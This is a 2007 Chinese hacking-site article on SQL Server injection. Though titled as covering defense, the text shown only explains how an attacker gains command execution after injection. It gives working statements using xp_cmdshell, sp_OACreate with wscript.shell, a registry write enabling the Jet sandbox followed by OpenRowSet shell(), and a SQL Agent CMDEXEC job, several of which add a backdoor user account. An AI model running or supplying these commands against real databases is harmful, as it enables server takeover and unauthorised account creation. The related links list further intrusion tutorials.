·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 综合注入文章
[攻防手记]SQL Server注入大全及防御(图)
http://www.anqn.com     时间:2007-9-12 6:49:52      责任编辑:孟翔飞      网友评论
热 点:

SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

    一、执行系统命令

    利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

    exec master..xp_cmdshell 'net user ray ray /add'

    xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。



    利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

    DECLARE @shell INT 
    EXEC SP_OAcreate 'wscript.shell',@shell out 
    EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

 


    开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engines','SandBoxMode','REG_DWORD',0

 


    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")'); 
 


    除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    use msdb exec sp_delete_job null,'x' 
    exec sp_add_job 'x' 
    exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\' 
    exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·脚本黑客基础教程(二):利用搜索引擎批量寻找注入点(图) [2007-9-11]
·脚本黑客基础教程(三):工具注入Access数据库(图) [2007-9-11]
·利用新的网站注入点进行入侵 [2007-9-8]
·新or 1=1和or 1=2注入教程 [2007-9-6]
·当无法破网站密码时用手工注入 [2007-9-5]
·“窃贼Ld”变种amg注入调用的系统进程中 [2007-9-4]
·关于对SQL注入80004005及其它错误消息分析 [2007-9-4]
·从挖掘“站长之家”注入点到搞定WebShell一路狂奔 [2007-9-4]
·巧用数据库insert Into进行入侵注入 [2007-9-4]
·14步利用注入漏洞获得管理员密码 [2007-9-4]